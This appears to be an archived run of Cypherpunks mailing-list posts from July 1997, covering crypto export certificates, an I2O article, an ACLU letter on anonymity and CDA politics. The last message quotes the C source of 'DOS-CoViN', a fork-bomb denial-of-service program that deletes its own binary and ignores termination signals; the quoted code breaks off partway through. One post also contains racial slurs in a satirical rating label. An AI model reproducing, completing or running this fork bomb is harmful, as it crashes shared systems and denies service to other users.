This is not a personal privacy issue, it is an individual talking to
large corporation who is not going to resist a lawful subpoena in any
case.

I don't think getting someone else to act as a CA would work either.
Whoever approved the scheme at the NSA would have insisted on the
clients requiring a cert directly signed off a root controled by a party
that had agreed to enforce the USG terms.

It would be much easier to circumvent the restrictions by replacing the
https transport component in Internet Explorer. The API is designed to
allow new protocols to be slotted in. It should not be a big hassle to
introduce a full and unrestricted SSL implementation.

All Verisign is doing is selling a cert that states that the holder is
trusted by the USG to operate on terms that it considers acceptable to
use 128bit encryption. If the USG no longer trusts the holder in that
manner the attribute is false and the cert should therefore be revoked.
The problem for the USG is that if the scheme succeeds it creates a
demand for 128 bit encryption that makes the revocation mechanism too
dangerous to use.

Freeh is essentially operating under the assumption that he can persuade
the Europeans to accept his proposals if he has more time to explain
them. I suspect that the opposite may be the case and that the
resistance to Freeh is informed about the ecconomic power that the
situation hands the US.


     Phill


Phillip M. Hallam-Baker
Visiting Scientist
MIT Laboratory for Artificial Intelligence.
Email: hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html
http://www.hallam.demon.co.uk/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Jul 1997 09:31:46 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970721180611.27600@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jul 21, 1997 at 10:29:37AM -0600, Jim Burnes wrote:
> 
[...]
> Re: Tim May's quote.  May is pointing out the truism that the world
> is full of weak-minded fools.

Almost everybody believes they are above average, believe it or not.

> This is the essential problem of
> the illusory democracy that we live in today.  Since in our 
> illusory democracy, the people falsely believe they've excercised their
> will via "the vote".

?

> The reality is that the sheeple, lulled into veritable unconsciouness with
> an unending stream of monday-night sports, the Home Shopping Channel (TM) 
> and Beavis and Butthead couldn't care a less as long as they feed on the
> media/social security/propaganda tit.  Their personal opinions, thorougly
> pre-chewed and digested are spoon-fed to them through a port in the side
> of their head labeled "fear".

Right.  So those people simply don't count, and might as well be
eliminated.

> May is just one of the people who has awoken from the anesthesia
> (self-induced or not).

No, Tim obviously lives in a world rich in fantasy.  But he is a very
clever fellow, and can be quite impressive.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Jul 1997 09:53:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102810aff69260ceb1@[207.167.93.63]>
Message-ID: <19970721183800.02930@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jul 19, 1997 at 07:12:35PM +0000, Paul Bradley wrote:
[...]
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?

I didn't receive a copy, and I had several private email discussions
with Jim Bell.

[...]

> The sending of this email to people Jim has communicated with, if it was 
> a real mail (I haven`t checked before but other people have and have said 
> the headers indicate it passed through several .gov hosts), constitutes 
> cowardly harrasment.

Oh, right.  If there is anyplace in cyberspace where experts in 
cowardly harassment by email exist, it is on this list.  Get real.

More likely someone at IRS thought they would stir things up a bit, 
and is having a bit of fun watching all this.  Maybe they even 
thought they were doing people a favor.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Tue, 22 Jul 1997 07:02:44 +0800
To: Mismatched NFS IDs <nobody@toad.com>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <97Jul19.201054edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.LNX.3.95.970721183747.25439E-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 19 Jul 1997, Mismatched NFS IDs wrote:

> I think that depends on what people start adopting.  If you want
> "geodesic" software, use Linux.  Pieces are there from every continent,
> and all any business needs to do to have a driver and applications written
> for any hardware is to release the spec.  It is flexible and upgradable
> and 'out of control', and is developed on the internet.  Interestingly
> enough, the only stego-crypto "device" I know of is the linux loop device.

Like a geodesic network, it naturally routes around obstructions or any
attempts to stop it.

This is a story I did for Wired News today about a possible attempt at
stopping free software in the most obvious manner -- close the hardware.
Notice the outcome.


   [1][USEMAP]
   [INLINE]
   [2][USEMAP]
   [3][USEMAP]
   
   
   
   [INLINE]
   _______________
   ______________
   
   
   
   
   [4][LINK]
   [INLINE]
   [5][LINK] _Consortium Segregates the Bus_
   
   _by [6]Michael Stutz _
   3:07pm  21.Jul.97.PDT A coming improvement to the PC architecture
   promises to dramatically enhance throughput for high-end servers,
   while at the same time only granting a select few the right to create
   software for it. Some programmers say this is a move by corporate
   giants like Microsoft to enforce a prohibition on the growing free
   software movement, and have begun to fight it.
   
   Intelligent Input/Output, or I20, is the technical specification for
   the next breed of high-end PC hardware devices invented by Intel and
   developed by the [7]I2O SIG, an industry consortium. Conforming
   hardware will help relieve I/O-intensive enterprise applications, such
   as client/server networking and videoconferencing, by taking the I/O
   load from the CPU, said consortium spokesman Michael LoBue. "It
   'tweaks' the basic architecture by offloading I/O processing from the
   CPU to a dedicated I/O processor," he said.
   
   This built-in processor is part of an intelligent I/O subsystem that
   would even allow I2O devices to communicate with each other - for
   example, a network card could make a request directly to a disk
   controller - without intervention by the CPU or operating system.
   Eventually, OEMs such as H-P and Dell may release high-end systems
   conforming with I2O, some before the calendar year's end.
   
   "We feel that the technology is promising," said Patrick Franklin,
   Microsoft's I2O SIG rep, who confirmed that its NT 5 operating system
   will begin to implement I2O compatibility while noting that "there's
   the risk that I2O performance will not justify the cost."
   
   But another issue has begun to raise a stink with programmers - the
   ability to write and share software for I2O-enabled hardware devices
   is controlled by the Microsoft-dominated SIG.
   
   "It looks as if the I2O SIG agreements are deliberately written to
   exclude free software," said Bruce Perens, chairman of [8]Software in
   the Public Interest, a nonprofit organization formed to support Debian
   GNU/Linux, a free Linux operating system package. "It's my opinion
   that this was a very deliberate decision on the part of the I2O
   consortium, and specifically on the part of their sponsors Microsoft
   and Novell."
   
   Free software - software whose source code is shared throughout the
   Net community - has taken a good portion of the high-powered server
   market that I2O targets, said Perens. "[For] [9]Web servers, file
   servers, and big-ticket systems, people have dumped high-priced
   commercial server packages in favor of free software."
   
   Because software development for I2O peripherals is forbidden for
   nonmembers, the US$5,000 yearly membership dues will put individuals
   and small organizations out of the game. Members themselves are not
   permitted to disclose their source code, and Microsoft has veto power
   to drop any organization from the SIG. This makes a grim scenario for
   independent programmers.
   
   The usual reason for keeping a hardware system closed - to prevent
   cloning of the device - does not apply in this case, as all I2O
   hardware vendors have access to the same documentation. "Five thousand
   dollars is assurance that the little guys, people like [10]Linus
   Torvalds [the original author of Linux] who might work for a college
   or program at home on hardware they purchased with their own money,
   will be locked out," Perens said.
   
   But, says LoBue, "I try to tell these people that one, this isn't a
   conspiracy and two, the founders are not stupid, ignorant people
   unaware of a free approach to licensing - so grow up, get over it.
   Either join or wait until such time as they feel that it doesn't need
   to be licensed. Boy, they're sure having a lot of fun on their soapbox
   lecturing about how ruin and damnation will happen because there are
   'proprietary specs.' I would claim that I2O is _not_ a proprietary
   spec - _anybody_ is free to join the SIG."
   
   Proprietary specs have surfaced many times throughout PC history; the
   outcomes have almost never been good. The MicroChannel Architecture
   bus was IBM's one-time attempt to keep the PC bus its own. It didn't
   work.
   
   "MCA was doomed from the start," said Microsoft's Franklin, citing the
   difficulties in getting a license from the IBM bureaucracy as a prime
   catalyst for its demise. Similarly, it may prove tough to impossible
   to keep determined hackers from programming their own hardware: Some
   have even now routed around the I2O membership requirements, informing
   Wired News that the secret document describing I2O in its current
   revision was [11]openly available from the I2O SIG's own site.
   
   _Related Wired Links:_
   [INLINE]
   
   _[12]Penguin Plaque Honors Linux Creator
   9.Jul.97_
   
   
   
   [13][LINK] [14][USEMAP]
   
   [15]Feedback: Let us know how we're doing.
   
   [16]Tips: Have a story or tip for Wired News? Send it.
   
   [17]Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
   All rights reserved.
   
   [18][USEMAP]
   [INLINE] [INLINE]
   [19]PSINet. Sign up now and get $200 of free Internet faxing.
   
   [20]Consortium Segregates the Bus
   
   [INLINE]
   _TECHNOLOGY_
   _Today's Headlines_
   
   _[21]Email Spy Lurks in Corporate Future
   
   [22]Digital Maps Help You Take a High-Tech Hike
   
   __[23]Consortium Segregates the Bus
   
   [24]Net Cannot Work by Man Alone
   
   [25]Launch Entrepreneurs Bet Down Under Goes Over
   
   [26]Sun's Adventures in the Third Dimension
   
   __[27]Tools: Internet Explorer 4.0 Preview 2
   
   [28]Street Cred: The Interface Hackers
   
   [29]Geek Talk: VBScript
   
   _[30]PSINet. Sign up now and get $200 of free Internet faxing.

References

   1. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#masthead.map
   2. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav1.map
   3. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav2.map
   4. http://www.wired.com/wired/
   5. http://www.wired.com/news/news/technology
   6. mailto:stutz@dsl.org
   7. http://www.i2osig.org/
   8. http://www.debian.org/social_contract.html
   9. http://www.netcraft.com/Survey/Changes/ALL/
  10. http://www.forwiss.uni-passau.de/forwiss/archive/linux/personen/interview.html
  11. ftp://ftp.i2osig.org/ver1-5.pdf
  12. http://www.wired.com/news/news/culture/story/1763.html
  13. http://www.wired.com/news/news/technology
  14. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#navstrip.map
  15. mailto:news_feedback@wired.com
  16. mailto:tips@wired.com
  17. http://www.wired.com/wired/full.copyright.html
  18. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav3.map
  19. http://www.wired.com/cgi-bin/nredirect/zMN5zNoNlV+G@http://www.psi.net/bannerads3/hotwired@news@topstories@def@psinet@psinet/greenpsinet125@
  20. http://www.wired.com/news/news/technology/story/5343.html
  21. http://www.wired.com/news/news/technology/story/5315.html
  22. http://www.wired.com/news/news/technology/story/5313.html
  23. http://www.wired.com/news/news/technology/story/5343.html
  24. http://www.wired.com/news/news/technology/story/5321.html
  25. http://www.wired.com/news/news/technology/story/5304.html
  26. http://www.wired.com/news/news/technology/story/5287.html
  27. http://www.wired.com/news/news/technology/story/5337.html
  28. http://www.wired.com/news/news/technology/story/5272.html
  29. http://www.wired.com/news/news/technology/story/5266.html
  30. http://www.wired.com/cgi-bin/nredirect/zMN5zNoNlV+G@http://www.psi.net/bannerads3/hotwired@news@topstories@def@psinet@psinet/greenpsinet125@





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 22 Jul 1997 01:08:13 +0800
To: cypherpunks@toad.com
Subject: CDT's Berman Opposes Online Anonymity
Message-ID: <199707211648.SAA11236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain






                     AMERICAN CIVIL LIBERTIES UNION


                       WASHINGTON OFFICE

                                                    122 Maryland Avenue, NE
 November 1, 1985                                   Washington, DC 20002
                                                    --------------------
                                                    National Headquarters
Mr. David Chaum                                     132 West 43rd Street
Centre for Mathematics and Computer Science         New York. NY 10036
P.O. Box 4079                                       (212) 944-9800
19O9 AB Amsterdam                                   Norman Dorsen
                                                      President
Dear Mr. Chaum:                                     Ira Glasser
                                                      Executive Director
                                                    Eleanor Holmes Norton
                                                      CHAIR
                                                    National Advisory
                                                    Council





        Thank you for sending me a most interesting article.   A
society of  individuals  and  organizations  that  would  expend  the
time and resources to use a  series  of  'digital  pseudonyms' to
avoid data linkage does not in my opinion make big brother
obsolete but  acts  on  the  assumption  that  big  brother  is  ever
present.  I  view  your  system  as  a  form  of  societal  paranoia.

        As a matter of  principle,  we  are  working  to  enact  formal
legal protections for  individual  privacy  rather  than  relying  on
technical solutions.   We want to  assume  a  society  of  law  which
respects legal limits rather than  a  society  that  will  disobey  the
law, requiring  citizens  to  depend  on  technical  solutions.  e.g.
require  a  judical  warrant  for  government  interception  of  data
communications rather than  encrypt  all  messages  on  the  assumption
that regardless of the lawt  the  government  will  abuse  its  power
and invade privacy.

        As a  matter  of  practicality,  I  do  not  think  your  system
offers much hope for privacy.    First, the trend toward universal
identifiers  is  as  much a  movement  generated  by  government  or
industry's desire to keep track of all citizens as it is by
citizens seeking simplicity and convenience in all transactions.
At best,  your  system  would  benefit  the  sophisticated  and  most
would opt for  simplicity.  The  poor  and  the  undereducated  would
never use or benefit from it.

        Finally where there's a  will, there's  a  way. If  government
wants to link data bases, it  will,  by  law, require  the  disclosure
of various individual pseudonyms used by citizens or prohibit it
for data bases which the government wants to link.  Since
corporations  make  money  by  trading  commercial  lists  with one
another, they will never adopt  the  system  or  if  it  is  adopted,
will use "fine printn  contracts  to  permit  selling  various   codes
used by their customers to other firms.

        The solution remains law, policy, and consensus about limits
on government or corporate intrusion into areas of individual
autonomy.  Technique can be used to enforce that consensus or to
override it. It cannot be used as a substitute for such
consensus.



                                            Sincerely Yours,

                                             /Sig/

                                            Jerry J. Berman
                                            Chief Legislative Counsel
                                            & Direrector ACLU
                                            Privacy Technology Project


   cc: John Shattuck






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 22 Jul 1997 10:52:06 +0800
To: cypherpunks@toad.com
Subject: Fight-each-other
Message-ID: <Pine.GSO.3.95.970721192957.21952B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 21 Jul 1997 19:29:48 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Fight-each-other

Some random thoughts:

It's no surprise that pro-CDA folks are on f-c. Paul Cardin from OCAF
subscribed about a year ago. Bruce Taylor and lawyers for Enough is Enough
and the Family Research Council have been known to frequent the list,
along with a variety of Hill staffers.

They do a better job of keeping their disagreements under wraps, though if
you ask the right questions you'll learn about some of the riffs that
split their community over CDA I. We're not as organized -- nor should we
be. Netizens, by their very nature, can't march in lockstep together. 
Sure, the pro-CDA I forces will hear our squabbles, smell our dirty
laundry. But this debate won't continue forever, and perhaps some common
ground will emerge.

Maybe it was naive to think that the anti-CDA coalition would hang
together after the Supreme Court decision. After all, the current fault
lines are split along some of the same divisions that existed for a year
and a half in two lawsuits: the one organized by the ACLU and the one
organized by CIEC. I've heard some say that the current dispute was
inevitable. 

Or, think of it this way: when privacy groups ally with the religious
right on database legislation, they don't expect their alliance to last
forever. Or when librarians join with Sony, Bell Atlantic, and Sun on
copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or
when the Cato Institute joins Ralph Nader on opposing the CDA.

These are issue-by-issue alliances, and everyone involved understands that
from the start. Perhaps we should have thought of the CDA alliance the
same way? Or perhaps the conflict arises because all groups would like to
claim the mantle of "representing the interests of the Net" -- which
brings with it some political currency here in Washington. And some might
say the tussle comes from long-standing personality conflicts.

Again, these are stream-of-consciousness thoughts, typed in while watching
that excerable new TV show "Roar." I haven't thought this through as much
as I'd like.

-Declan


On Mon, 21 Jul 1997, James S. Tyre wrote:

> The note below was sent to me privately earlier today.  I will respect
> the author's privacy by not revealing who s/he is, but y'all might take
> heed of what the author says.
> 
> I am familiar with the author from elsewhere, and many on f-c might well
> agree with the self-characterization (which, in this context, has
> nothing to do with Libertarianism, pro or con).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Tue, 22 Jul 1997 08:03:39 +0800
To: cypherpunks@toad.com
Subject: WOW-COM(TM) News Update
Message-ID: <199707212341.TAA01871@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear WOW-COM Reader:

WOW-COM(tm) is the wireless industry's online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1)	Letters to FBI regarding Electronic Surveillance

2)	The Clearinghouse Report on Antenna Siting
	
3)	WOW-COM's MICROSITES: Focused Content for Focused Needs

4)	Taking a vacation?  Use our news archive feature


Electronic surveillance standards: CALEA
=======================================================
http://www.wow-com.com/professional/whatshot/

The Cellular Telecommunications Industry Association ("CTIA") filed a petition for rulemaking before the Federal Communications Commission ("Commission") on Wednesday July 16, 1997, to expedite development of a lawfully authorized electronic surveillance standard under the 1994 Communications Assistance for Law Enforcement Act  ("CALEA"). See the whole story here.


THE CLEARINGHOUSE REPORT ON ANTENNA SITING
==============================================
http://www.wow-com.com/professional/siting/ 

Check out the CTIA Clearinghouse Report on Siting, the industry's most comprehensive research on siting issues.  Containing information on current moratoria, new regulations proposed and adopted by municipalities and recent judicial proceedings.  The Siting Report is located in the Siting Microsite.


WOW-COM's MICROSITES: Focused Content for Focused Needs
===================================================
http://www.wow-com.com/professional/micro/

A Microsite is a subsection of WOW-COM(TM) that focuses on an issue of vital interest to the wireless industry.  WOW-COM currently supports Microsites on the following topics: Antenna Siting, Wireless Fraud, Systems Integration, Wireless Apps.


TAKING A VACATION? USE OUR NEWS ARCHIVE FEATURE!
=================================================
http://www.wow-com.com/results/professional/news/
Getting back from vacation and need to catch up on wireless news?  WOW-COM's News Search feature can access any news article that has ever been on our system.  Just scroll to the bottom of this page and type in the keyword and, or date range.


==================================================
MORE WOW-COM(tm) FEATURES
=============================
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WOW-COM(tm) is insightful: CTIA's unbiased analysis 
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The world of wireless is in constant motion.  Stay on top of the news and benefit from CTIA's analysis by reading WOW-COM(tm) everyday.  You may remove yourself from the WOW-COM(tm) mailing list by going to http://www.wow-com.com/unsubscribe

=============================================================
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 12:15:50 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Fight-each-other
In-Reply-To: <Pine.GSO.3.95.970721192957.21952B-100000@well.com>
Message-ID: <v03102806aff9deb72da2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:30 PM -0700 7/21/97, Declan McCullagh wrote:

>same way? Or perhaps the conflict arises because all groups would like to
>claim the mantle of "representing the interests of the Net" -- which
>brings with it some political currency here in Washington. And some might

Nope, not all groups would like to claim they are "representing the
interests of the Net." And not all individuals, either. I don't recall any
plausible consensus of the Cypherpunks claiming to represent the interests
of the Net.

I've never claimed to represent the interests of "the Net"--I just want
anyone who tries to tell me what to do in violation of the strict limits of
the Constitution (especially the Old Testament version, not the newfangled
New Testament that says I have to hire some percentage of coloreds, for
example) to _STOP_.

And I don't trust legislation. Only way to STOP them is to use
technological monkeywrenches. The stuff that should be well-known, even to
Washington burrowcrats.

And I'm not convinced the "alliance" against the CDA was terribly
important. Had the Eagle Forum, or whatever, and the CPSR, or whatever, not
been part of the suit, the ACLU lawyers would still likely have carried the
day. The Supremes may have been willing to look the other way on some major
constitutional issues the last several decades, but some things are just
too clear cut violations of the First, even for them.

(Similarly, I expect the "mandatory voluntary Net ratings" system to fail.
It's not even clear if television networks have to "voluntarily self-rate,"
as the NBC refusal is likely to ultimately show, and these are networks
ostensibly bound by FCC rules and the usual "scarce spectrum" arguments.
The Net is exactly like print, and there is no plausible argument for
demanding that all writers classify their writings according to some
government standard. (Lest this not be clear, suppose that my value system
argues that sex and profanity are necessary parts of a child's education,
so I voluntarily rate my writings as "suitable for children of all ages."
What then? And must I warn Muslims that my writings may be offensive to
them? And so on, for literally hundreds or more everyday examples. The
Supremes will strike this mandatory voluntary "Children's Protection and
Safe Surfing Act" down pronto. Whether or not a Grand Alliance is formed.)

By the way, I've attempted to comply with the spirit of Comrad Clinton's
ratings system. See below.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 22 Jul 1997 11:19:11 +0800
To: Michael Stutz <stutz@dsl.org>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <Pine.LNX.3.95.970721183747.25439E-100000@devel.nacs.net>
Message-ID: <199707220222.VAA02243@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970721183747.25439E-100000@devel.nacs.net>, on 07/21/97 
   at 06:40 PM, Michael Stutz <stutz@dsl.org> said:

>   Because software development for I2O peripherals is forbidden for
>   nonmembers, the US$5,000 yearly membership dues will put individuals
>   and small organizations out of the game. Members themselves are not
>   permitted to disclose their source code, and Microsoft has veto power
>   to drop any organization from the SIG. This makes a grim scenario for
>   independent programmers.

Sounds like a text book example for a anti-trust lawsuit angainst
Microsoft, Intell & the I20 SIG.

I wonder what Watcom, Borland and a few of the other compiler manufactures
think about this.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9QMSo9Co1n+aLhhAQHATQP/Ro6oxfT+LyCJKl9OLI+XR5y3tx2fnCYm
616EqwP17/ACaoB+9zp0sKVPyzcrJeZHsedR7OCt1oek5LmWrJERtTH3hlk3G68m
51C2/c/M3RPriv6ewqRehLBfLsxJmSwY4Yr6o4x3Ypadf/5Kh8ciVsmTw7WsSVIM
jOqS0p8QMNo=
=zzAz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 22 Jul 1997 10:44:21 +0800
To: jherron@basix.com
Subject: Controversial Technology
Message-ID: <199707220224.VAA12597@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Jack,

I have removed your subscription to the Experimental Science Instrumentation
mailing list.

I would however like to point out that security through obscurity (ie
ignorance) is not security. It is self-delusion. One can not protect them
selves reliably from the many consequences of technology and society via
ignorance. That which you don't know not only can hurt you but can kill you.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-tesla@ssz.com Mon Jul 21 21:13:16 1997
> Date: Mon, 21 Jul 1997 21:13:15 -0500
> Message-Id: <199707220213.VAA12566@einstein.ssz.com>
> To: owner-tesla@ssz.com
> From: owner-tesla@ssz.com
> Subject: BOUNCE tesla@ssz.com: Admin request
> 
> >From tesla-owner@ssz.com  Mon Jul 21 21:13:13 1997
> Received: from Base.Basix.COM (Basix.COM [198.49.101.15]) by einstein.ssz.com (8.6.12/8.6.9) with SMTP id VAA12560 for <tesla@ssz.com>; Mon, 21 Jul 1997 21:13:11 -0500
> Date: Mon, 21 Jul 1997 21:13:11 -0500
> Message-Id: <199707220213.VAA12560@einstein.ssz.com>
> Received: from sl-2.Basix.COM by Base.Basix.COM (MX V4.2 VAX) with SMTP; Mon,
>           21 Jul 1997 19:21:36 MST
> X-Sender: JHERRON@BASIX.COM
> X-Mailer: Windows Eudora Light Version 1.5.2
> MIME-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> To: tesla@ssz.com
> From: JACK HERRON <JHERRON@BASIX.COM>
> Subject: Re: fork problem, fix? (fwd)
> 
> Jim Choate,
>         There is nothing ethical about fabricating destructive programs and
> distributing them to the irresponsible, while hiding like a coward.  Please
> unsubscribe me.
> 
> Jack Herron
> 
> 
> 
> 
> 
> 
> At 08:05 AM 7/21/97 -0500, you wrote:
> >Forwarded message:
> >>From owner-cypherpunks@ssz.com Mon Jul 21 07:39:29 1997
> >Date: Mon, 21 Jul 1997 06:55:08 +0200 (MET DST)
> >Message-Id: <199707210455.GAA29231@basement.replay.com>
> >To: cypherpunks@toad.com.redhat-list@redhat.com
> >From: nobody@replay.com (Name Withheld by Request)
> >Organization: Replay and Company UnLimited.
> >XComm: This message was automaticly Remailed by an Anonymous Remailer.
> >XComm: Report problems or inappropriate use to <postmaster@replay.com>
> >subject: fork problem, fix?
> >Sender: owner-cypherpunks@ssz.com
> >Precedence: bulk
> >X-Mailing-List: cypherpunks@ssz.com
> >X-List-Admin: list@ssz.com
> >X-Loop: ssz.com
> >
> >/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
> >   bugtraq
> >
> >   This program is a beefed up classic denial of service fork()'er :)
> >
> >   Compilation:
> >	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
> >	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
> >
> >	on my linux, I can compile it with both -DBSD_C and -DSYSV_C
> >
> >	if your not sure, you can experiment, or compile it
> >	without any -D'efines
> >
> >
> >   In the future:
> >	SunOS signals ignored.
> >	Creation of random symlinks for more gory destruction.
> >	Using advanced technology coding to make the hard drive
> >		blow up with a loud boom and the console explode
> >		causing a nuclear meltdown.
> >
> >
> >
> >   Direct All Suggestions And Flames to: Vio
> >
> >  NOTE: this program is provided for educational purposes only, its author
> >	will not take any responsibility for any stupid things you will
> >	decide to do.
> >
> >	this has been tested, but not the latest version of it.
> >
> >            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
> >            $$'   s   `$'   s   `$    $    $    $    `$   $$
> >            $$    $    $    $    $    $    $    $         $$
> >            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
> >            $$    $ssss$    $    $    $    $    $   $$$   $$
> >            $$    $    $    $    $.   $   ,$    $   $$$   $$
> >            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
> >            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
> >
> >*/
> >
> >
> >#include <stdio.h>
> >#include <stdlib.h>
> >#include <sys/types.h>
> >#include <sys/stat.h>
> >#include <fcntl.h>
> >#include <unistd.h>
> >#include <signal.h>
> >
> >#define MAX_FILELEN 100	/* The _actual_ max length */
> >#define MAX_DIRLEN 10
> >
> >#define START_DIR "/tmp"   /* This can be substituted for any directory */
> >			   /* that you have write access to		*/
> >
> >void dirs_generator(void);
> >
> >main(int argc, char *argv[])
> >{
> >int fp;
> >char *buff;
> >char chr;
> >
> >unlink(argv[0]);
> >
> >/* You might wanna ignore all the signals you can ignore.. */
> >signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
> >signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
> >signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
> >signal(SIGALRM,	SIG_IGN);
> >signal(SIGBUS,	SIG_IGN);
> >signal(SIGFPE,	SIG_IGN);
> >signal(SIGILL,	SIG_IGN);
> >signal(SIGIOT,	SIG_IGN);
> >signal(SIGPIPE,	SIG_IGN);
> >signal(SIGQUIT,	SIG_IGN);
> >signal(SIGSEGV,	SIG_IGN);
> >signal(SIGTRAP,	SIG_IGN);
> >signal(SIGUSR1,	SIG_IGN);
> >signal(SIGUSR2,	SIG_IGN);
> >
> >#ifdef BSD_C 
> >	signal(SIGPROF, SIG_IGN);
> >	signal(SIGSTOP, SIG_IGN);
> >	signal(SIGTSTP, SIG_IGN);
> >	signal(SIGTTIN,	SIG_IGN);
> >	signal(SIGTTOU,	SIG_IGN);
> >	signal(SIGVTALRM,	SIG_IGN);
> >	signal(SIGXCPU,	SIG_IGN);
> >	signal(SIGXFSZ,	SIG_IGN);
> >#endif
> >
> >#ifdef SYSV_C
> >	signal(SIGPOLL,	SIG_IGN);
> >	signal(SIGPWR,	SIG_IGN);
> >#endif
> >
> >if(fork()) {
> >	printf("Now crashing and blowing up this system.. have a nice day\n");
> >	printf("You can safely logout, and let the proggie do its work\n");
> >	printf("or you can stick around and watch lag go from 0 to bitch\n");
> >	printf("in a matter of seconds\n");
